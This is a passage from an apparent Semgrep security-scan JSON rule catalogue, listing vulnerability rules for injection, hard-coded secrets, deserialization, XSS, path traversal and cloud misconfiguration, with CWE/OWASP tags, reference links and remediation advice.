avoided."},"help":{"markdown":"Detected user data flowing into eval. This is code injection and should be avoided.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.injection.user-eval.eval-injection)\n - [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)\n","text":"Detected user data flowing into eval. This is code injection and should be avoided."},"helpUri":"https://semgrep.dev/r/python.flask.security.injection.user-eval.eval-injection","id":"python.flask.security.injection.user-eval.eval-injection","name":"python.flask.security.injection.user-eval.eval-injection","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.injection.user-eval.eval-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as ActiveRecord which will protect your queries."},"help":{"markdown":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as ActiveRecord which will protect your queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.injection.tainted-sql-string.tainted-sql-string)\n - [https://rorsecurity.info/portfolio/ruby-on-rails-sql-injection-cheat-sheet](https://rorsecurity.info/portfolio/ruby-on-rails-sql-injection-cheat-sheet)\n","text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as ActiveRecord which will protect your queries."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.injection.tainted-sql-string.tainted-sql-string","id":"ruby.rails.security.injection.tainted-sql-string.tainted-sql-string","name":"ruby.rails.security.injection.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.injection.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.gradle.security.build-gradle-password-hardcoded.build-gradle-password-hardcoded)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.gradle.security.build-gradle-password-hardcoded.build-gradle-password-hardcoded","id":"kotlin.gradle.security.build-gradle-password-hardcoded.build-gradle-password-hardcoded","name":"kotlin.gradle.security.build-gradle-password-hardcoded.build-gradle-password-hardcoded","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.gradle.security.build-gradle-password-hardcoded.build-gradle-password-hardcoded"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected non-literal calls to $EXEC(). This could lead to a command injection vulnerability."},"help":{"markdown":"Detected non-literal calls to $EXEC(). This could lead to a command injection vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.dangerous-spawn-shell.dangerous-spawn-shell)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html#do-not-use-dangerous-functions](https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html#do-not-use-dangerous-functions)\n","text":"Detected non-literal calls to $EXEC(). This could lead to a command injection vulnerability."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.dangerous-spawn-shell.dangerous-spawn-shell","id":"javascript.lang.security.audit.dangerous-spawn-shell.dangerous-spawn-shell","name":"javascript.lang.security.audit.dangerous-spawn-shell.dangerous-spawn-shell","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.dangerous-spawn-shell.dangerous-spawn-shell"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Using 'globals()' as a context to 'render(...)' is extremely dangerous. This exposes Python functions to the template that were not meant to be exposed. An attacker could use these functions to execute code that was not intended to run and could compromise the application. (This is server-side template injection (SSTI)). Do not use 'globals()'. Instead, specify each variable in a dictionary or 'django.template.Context' object, like '{\"var1\": \"hello\"}' and use that instead."},"help":{"markdown":"Using 'globals()' as a context to 'render(...)' is extremely dangerous. This exposes Python functions to the template that were not meant to be exposed. An attacker could use these functions to execute code that was not intended to run and could compromise the application. (This is server-side template injection (SSTI)). Do not use 'globals()'. Instead, specify each variable in a dictionary or 'django.template.Context' object, like '{\"var1\": \"hello\"}' and use that instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.globals-as-template-context.globals-as-template-context)\n - [https://docs.djangoproject.com/en/3.2/ref/settings/#templates](https://docs.djangoproject.com/en/3.2/ref/settings/#templates)\n - [https://docs.djangoproject.com/en/3.2/topics/templates/#django.template.backends.django.DjangoTemplates](https://docs.djangoproject.com/en/3.2/topics/templates/#django.template.backends.django.DjangoTemplates)\n - [https://docs.djangoproject.com/en/3.2/ref/templates/api/#rendering-a-context](https://docs.djangoproject.com/en/3.2/ref/templates/api/#rendering-a-context)\n","text":"Using 'globals()' as a context to 'render(...)' is extremely dangerous. This exposes Python functions to the template that were not meant to be exposed. An attacker could use these functions to execute code that was not intended to run and could compromise the application. (This is server-side template injection (SSTI)). Do not use 'globals()'. Instead, specify each variable in a dictionary or 'django.template.Context' object, like '{\"var1\": \"hello\"}' and use that instead."},"helpUri":"https://semgrep.dev/r/python.django.security.globals-as-template-context.globals-as-template-context","id":"python.django.security.globals-as-template-context.globals-as-template-context","name":"python.django.security.globals-as-template-context.globals-as-template-context","properties":{"precision":"very-high","tags":["CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.globals-as-template-context.globals-as-template-context"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.axios.hardcoded-bearer-token.hardcoded-bearer-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.axios.hardcoded-bearer-token.hardcoded-bearer-token","id":"javascript.axios.hardcoded-bearer-token.hardcoded-bearer-token","name":"javascript.axios.hardcoded-bearer-token.hardcoded-bearer-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.axios.hardcoded-bearer-token.hardcoded-bearer-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Starting from `ruamel.yaml` version 0.15.0 The default loader (`typ='rt'`) is a direct derivative of the safe loader. Before this version, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Starting from `ruamel.yaml` version 0.15.0 The default loader (`typ='rt'`) is a direct derivative of the safe loader. Before this version, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-ruamel-pyramid.tainted-ruamel-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation](https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Starting from `ruamel.yaml` version 0.15.0 The default loader (`typ='rt'`) is a direct derivative of the safe loader. Before this version, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-ruamel-pyramid.tainted-ruamel-pyramid","id":"python.pyramid.deserialization.tainted-ruamel-pyramid.tainted-ruamel-pyramid","name":"python.pyramid.deserialization.tainted-ruamel-pyramid.tainted-ruamel-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-ruamel-pyramid.tainted-ruamel-pyramid"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Container is explicitly disabling seccomp confinement. This runs the service in an unrestricted state. Remove 'seccompProfile: unconfined' to prevent this."},"help":{"markdown":"Container is explicitly disabling seccomp confinement. This runs the service in an unrestricted state. Remove 'seccompProfile: unconfined' to prevent this.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.seccomp-confinement-disabled.seccomp-confinement-disabled)\n - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/#seccomp](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#seccomp)\n - [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)\n","text":"Container is explicitly disabling seccomp confinement. This runs the service in an unrestricted state. Remove 'seccompProfile: unconfined' to prevent this."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.seccomp-confinement-disabled.seccomp-confinement-disabled","id":"yaml.kubernetes.security.seccomp-confinement-disabled.seccomp-confinement-disabled","name":"yaml.kubernetes.security.seccomp-confinement-disabled.seccomp-confinement-disabled","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.seccomp-confinement-disabled.seccomp-confinement-disabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.sqli.systemdata-taint-grpc.systemdata-taint-grpc)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.sqli.systemdata-taint-grpc.systemdata-taint-grpc","id":"csharp.dotnet-core.sqli.systemdata-taint-grpc.systemdata-taint-grpc","name":"csharp.dotnet-core.sqli.systemdata-taint-grpc.systemdata-taint-grpc","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.sqli.systemdata-taint-grpc.systemdata-taint-grpc"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a potential path traversal. A malicious actor could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path."},"help":{"markdown":"Detected a potential path traversal. A malicious actor could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jax-rs.security.jax-rs-path-traversal.jax-rs-path-traversal)\n - [https://www.owasp.org/index.php/Path_Traversal](https://www.owasp.org/index.php/Path_Traversal)\n","text":"Detected a potential path traversal. A malicious actor could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path."},"helpUri":"https://semgrep.dev/r/java.jax-rs.security.jax-rs-path-traversal.jax-rs-path-traversal","id":"java.jax-rs.security.jax-rs-path-traversal.jax-rs-path-traversal","name":"java.jax-rs.security.jax-rs-path-traversal.jax-rs-path-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.jax-rs.security.jax-rs-path-traversal.jax-rs-path-traversal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.okhttp.secrets.hardcoded-credentials.okhttp3.Credentials)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.okhttp.secrets.hardcoded-credentials.okhttp3.Credentials","id":"kotlin.okhttp.secrets.hardcoded-credentials.okhttp3.Credentials","name":"kotlin.okhttp.secrets.hardcoded-credentials.okhttp3.Credentials","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.okhttp.secrets.hardcoded-credentials.okhttp3.Credentials"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use generator expressions syntax provided by Pony ORM to build SQL queries instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use generator expressions syntax provided by Pony ORM to build SQL queries instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.db.ponyorm-django.ponyorm-django)\n - [https://docs.ponyorm.org/queries.html](https://docs.ponyorm.org/queries.html)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use generator expressions syntax provided by Pony ORM to build SQL queries instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.django.db.ponyorm-django.ponyorm-django","id":"python.django.db.ponyorm-django.ponyorm-django","name":"python.django.db.ponyorm-django.ponyorm-django","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.db.ponyorm-django.ponyorm-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.ktor.xss.ktor-request-xss.ktor-request-xss)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"helpUri":"https://semgrep.dev/r/kotlin.ktor.xss.ktor-request-xss.ktor-request-xss","id":"kotlin.ktor.xss.ktor-request-xss.ktor-request-xss","name":"kotlin.ktor.xss.ktor-request-xss.ktor-request-xss","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.ktor.xss.ktor-request-xss.ktor-request-xss"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-dill-fastapi.tainted-dill-fastapi)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://dill.readthedocs.io/en/latest/index.html](https://dill.readthedocs.io/en/latest/index.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pypi.org/project/dill/](https://pypi.org/project/dill/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-dill-fastapi.tainted-dill-fastapi","id":"python.fastapi.deserialization.tainted-dill-fastapi.tainted-dill-fastapi","name":"python.fastapi.deserialization.tainted-dill-fastapi.tainted-dill-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-dill-fastapi.tainted-dill-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Keep3rV2.current() call has high data freshness, but it has low security,  an exploiter simply needs to manipulate 2 data points to be able to impact the feed."},"help":{"markdown":"Keep3rV2.current() call has high data freshness, but it has low security,  an exploiter simply needs to manipulate 2 data points to be able to impact the feed.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.keeper-network-oracle-manipulation.keeper-network-oracle-manipulation)\n - [https://twitter.com/peckshield/status/1510232640338608131](https://twitter.com/peckshield/status/1510232640338608131)\n - [https://twitter.com/FrankResearcher/status/1510239094777032713](https://twitter.com/FrankResearcher/status/1510239094777032713)\n - [https://twitter.com/larry0x/status/1510263618180464644](https://twitter.com/larry0x/status/1510263618180464644)\n - [https://andrecronje.medium.com/keep3r-network-on-chain-oracle-price-feeds-3c67ed002a9](https://andrecronje.medium.com/keep3r-network-on-chain-oracle-price-feeds-3c67ed002a9)\n - [https://etherscan.io/address/0x210ac53b27f16e20a9aa7d16260f84693390258f](https://etherscan.io/address/0x210ac53b27f16e20a9aa7d16260f84693390258f)\n","text":"Keep3rV2.current() call has high data freshness, but it has low security,  an exploiter simply needs to manipulate 2 data points to be able to impact the feed."},"helpUri":"https://semgrep.dev/r/solidity.security.keeper-network-oracle-manipulation.keeper-network-oracle-manipulation","id":"solidity.security.keeper-network-oracle-manipulation.keeper-network-oracle-manipulation","name":"solidity.security.keeper-network-oracle-manipulation.keeper-network-oracle-manipulation","properties":{"precision":"very-high","tags":["CWE-682: Incorrect Calculation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.keeper-network-oracle-manipulation.keeper-network-oracle-manipulation"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"ELB has no logging. Missing logs can cause missing important event information."},"help":{"markdown":"ELB has no logging. Missing logs can cause missing important event information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-elb-access-logs-not-enabled.aws-elb-access-logs-not-enabled)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"ELB has no logging. Missing logs can cause missing important event information."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-elb-access-logs-not-enabled.aws-elb-access-logs-not-enabled","id":"terraform.aws.security.aws-elb-access-logs-not-enabled.aws-elb-access-logs-not-enabled","name":"terraform.aws.security.aws-elb-access-logs-not-enabled.aws-elb-access-logs-not-enabled","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-elb-access-logs-not-enabled.aws-elb-access-logs-not-enabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. A popular library used to prevent XSS is DOMPurify. You can also use libraries and frameworks such as Angular, Vue, and React, which offer secure defaults when rendering input."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. A popular library used to prevent XSS is DOMPurify. You can also use libraries and frameworks such as Angular, Vue, and React, which offer secure defaults when rendering input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.angular.angular-route-bypass-security-trust.angular-route-bypass-security-trust)\n - [https://angular.io/api/router/ActivatedRoute](https://angular.io/api/router/ActivatedRoute)\n - [https://angular.io/api/router/ActivatedRouteSnapshot](https://angular.io/api/router/ActivatedRouteSnapshot)\n - [https://angular.io/api/platform-browser/DomSanitizer](https://angular.io/api/platform-browser/DomSanitizer)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. A popular library used to prevent XSS is DOMPurify. You can also use libraries and frameworks such as Angular, Vue, and React, which offer secure defaults when rendering input."},"helpUri":"https://semgrep.dev/r/typescript.angular.angular-route-bypass-security-trust.angular-route-bypass-security-trust","id":"typescript.angular.angular-route-bypass-security-trust.angular-route-bypass-security-trust","name":"typescript.angular.angular-route-bypass-security-trust.angular-route-bypass-security-trust","properties":{"precision":"very-high","tags":["CWE-79: Improper 